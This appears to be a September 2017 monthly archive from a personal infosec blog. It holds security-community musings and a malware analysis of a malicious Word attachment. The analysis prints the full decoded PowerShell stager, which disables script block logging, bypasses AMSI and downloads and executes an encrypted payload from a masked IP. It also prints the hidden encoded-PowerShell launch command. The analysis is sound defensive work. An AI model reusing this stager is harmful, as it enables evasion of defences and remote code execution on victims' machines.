Month: September 2017 | Silicon Shecky

Since I don’t have a single topic to write about I figure some thoughts, ideas and endorsements/suggestions would be a nice change of pace.

I have to wonder at what point we reach oversaturation on data breaches (if we haven’t already) to the point where people shrug their shoulders and go meh. I have to think we are close, especially in a month where we have had Equifax, Deloitte, and Whole Foods announcing they have been popped. I also have to wonder when we will stop jumping the gun on attribution, as it tends to make the whole industry look like we do not know what we are talking about. Wait till we have enough facts to do things proper.

Along the same lines as the attribution situation, I have really started to notice how many people bitch about a problem, say passwords, but offer no ideas on how to fix the problem. Passwords for example, I will hear MFA(or 2FA) as the solution, but what are the multiple factors then? Again, it is easy to bitch about something, but much harder to offer a viable solution, especially one that can be adopted by the every day person.

I want to give a great shout out to the Brakeing Down Security Podcast and Slack for it. I had done a 6 week Powershell for DFIR training class through the group, and found it awesome (they got Mick Douglas to teach it). The Slack has many channels in it for chatting about different aspects of the infosec Community including a Jobs Board, career advice area, powershell, Malware, and much more. Bryan Brake, Amanda Berlin, and Brian Boettcher put out a fantastic security focused podcast. I highly recommend listening to it. Also there is the Book Club in the Slack which right now is covering “Cyber Operations: Building, Defending, and Attacking Modern Computer Networks”. We do a live voice chat every other week on the chapter(s) decided on prior. The live chat this week made me realize how much about Active Directory I actually do know, and how much I still have left to learn (Azure, Federated Services and more).

Those in the Chicago area or those visiting, Burbsec is still going strong. 4 different locations, a different one each week. Burbsec East just changed where it is being located and the first night at the new venue went fantastic. Come on out and be social with us!

That covers this randomness, have a great day!

On Tuesday, September 12, 2017 4PM CST, my manager gave me a document called KB1243-Critical-Install.docx to analyze. This document is a self executing zip file using a docx type, with an embedded OLE binary object that executes, contacts an external site, and downloads a payload. I ended my analysis about 11AM CST 9-13-2017. Below is a more detailed explanation of how I came to these conclusions.

Detailed Analysis

Initially, I took the file straight into a Kali VM that I use for checking potentially malicious items. Trying to just open the docx file gave me an archiver error due to the file type. This led me to open a terminal and do an unzip on the file using the following unzip KB1243-Critical-Install.docx. Unzipping gave me 3 directories and an XML file:

The folder docProps gave me 2 xml files, the directory _rels was empty, but the word directory was where the real fun began. Inside this directory I saw the following:

The media folder contained 3 images and an emf file, with one of the images being the company logo and the other being an image of a security warning screen:

The real finding was in the embeddings folder which had one item in named oleObect1.bin which raised my suspicions even more.

The next step was to see what was contained inside this binary file. A little research turned up a piece of free software called oledump. It is a python program, “oledump.py is a program to analyze OLE files (Compound File Binary Format). These files contain streams of data. oledump allows you to analyze these streams.” Perfect. Once I downloaded oledump onto my Kali VM I ran it against the full docx file. The results were:

The A2 stream would be what I was looking for, as the A1 was a header and A3 was just info on the object itself. The Size and the O marking (for object) are the tip off. This prompted me ot do the following command:

So it would not give me the information using oledump that I was looking for, but I knew I was onto something. I decided to go old school and just cat the oldObject1.bin file to see if I would get anything of interest.

There are some interesting items in there. The padded opening states that it is an Ole10Native object. Then there was this line:

OLE PackagPackage?9?q@?KB1243-Install.batC:\Users\brikut01\Desktop\KB1243-Install.bat8C:\Users\brikut01\AppData\Local\Temp\KB1243-Install.batstart /b powershell -noP -sta -w 1 –enc

So this file first off is going to run a Bat file, that was at one point on a user named brikut01’s machine (username is not in our AD therefore is something on the creators side) . This also starts powershell from a command line with NoProfile (-noP), a single thread (-sta), the –w 1 hides the session and the –enc which accepts base-64 encoded string version of a command. The Encoding makes sense considering the long obfuscate string following ends in == which is a tell tale sign of base64 encoding. The last line deletes the .bat file itself thereby trying to leave no trace.

Thankfully there are tools to decode base64 encoding. Using one of these tools it revealed the following:

$grouppolicysettings = [ref].assembly.gettype(‘system.management.automation.utils’).”getfie`ld”(‘cachedgrouppolicysettings’, ‘n’+’onpublic,static’).getvalue($null);$grouppolicysettings[‘scriptb’+’locklogging’][‘enablescriptb’+’locklogging’] = 0;$grouppolicysettings[‘scriptb’+’locklogging’][‘enablescriptblockinvocationlogging’] = 0;[ref].assembly.gettype(‘system.management.automation.amsiutils’)|?{$_}|%{$_.getfield(‘amsiinitfailed’,’nonpublic,static’).setvalue($null,$true)};[system.net.servicepointmanager]::expect100continue=0;$wc=new-object system.net.webclient;$u=’mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; rv:11.0) like gecko’;$wc.headers.add(‘user-agent’,$u);$wc.proxy=[system.net.webrequest]::defaultwebproxy;$wc.proxy.credentials = [system.net.credentialcache]::defaultnetworkcredentials;$k=[system.text.encoding]::ascii.getbytes(‘=z#,ecdv]-9oe<;d*!bi8r%k(owr65au’);$r={$d,$k=$args;$s=0..255;0..255|%{$j=($j+$s[$_]+$k[$_%$k.count])%256;$s[$_],$s[$j]=$s[$j],$s[$_]};$d|%{$i=($i+1)%256;$h=($h+$s[$i])%256;$s[$i],$s[$h]=$s[$h],$s[$i];$_-bxor$s[($s[$i]+$s[$h])%256]}};$wc.headers.add(“cookie”,”session=2xrm2yvyojcwdr0lzhrwmlxvp44=”);$ser=’http://xxx.xxx.xxx.xxx:80′;$t=’/login/process.php’;$data=$wc.downloaddata($ser+$t);$iv=$data[0..3];$data=$data[4..$data.length];-join[char[]](& $r $data ($iv+$k))|iex<br /><br />

This boils down to setting a Group Policy to stop logging, what is an AMSI (Assembly Management System) bypass, grabbing the default web proxy credentials, setting a cookie, and putting it all together to send to an IP address via http so it can be tracked and download something from the IP address. I did not download the payload to see what it was. The final 3 letters, iex invokes the expression.

I checked on the IP address and found it pointed to VPS. I was later given 2 more files to look at which used the same code, but different IP addresses to the same VPS.

Update: Trying to get the file this was supposed to download came back with a 500 error from the server.

Random Stuff for the week ending 9-30-17

First time for everything

Archives for September 2017